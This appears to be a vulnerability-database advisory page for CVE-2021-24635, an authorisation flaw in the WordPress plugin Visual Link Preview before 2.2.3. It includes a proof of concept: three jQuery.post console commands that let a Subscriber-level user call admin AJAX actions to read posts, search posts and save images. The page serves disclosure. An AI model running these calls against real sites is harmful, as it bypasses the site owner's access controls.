Lucene search

K

Visual Link Preview < 2.2.3 - Unauthorised AJAX Calls

🗓️ 18 Aug 2021 00:00:00Reported by apple502jType 
wpexploit
 wpexploit
👁 526 Views

Visual Link Preview unauthorised AJAX calls exploi

Show more
Related
Code
ReporterTitlePublishedViews
Family
WPVulnDB
Visual Link Preview < 2.2.3 - Unauthorised AJAX Calls
18 Aug 202100:00
wpvulndb
NVD
CVE-2021-24635
20 Sep 202110:15
nvd
Prion
Cross site request forgery (csrf)
20 Sep 202110:15
prion
Cvelist
CVE-2021-24635 Visual Link Preview < 2.2.3 - Unauthorised AJAX Calls
20 Sep 202110:06
cvelist
CVE
CVE-2021-24635
20 Sep 202110:15
cve
Run the following command in the Web Developer console of the Web browser while logged in as a Subscriber.

jQuery.post(ajaxurl,{security:vlp_admin.nonce,id:POST_ID,action:"vlp_get_post_content"});
jQuery.post(ajaxurl,{security:vlp_admin.nonce,search:"KEYWORD",action:"vlp_search_posts"});
jQuery.post(ajaxurl,{security:vlp_admin.nonce,url:"IMAGE URL",action:"vlp_save_image"});

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo
18 Aug 2021 00:00Current
0.4Low risk
Vulners AI Score0.4
EPSS0.001
526
.json
Report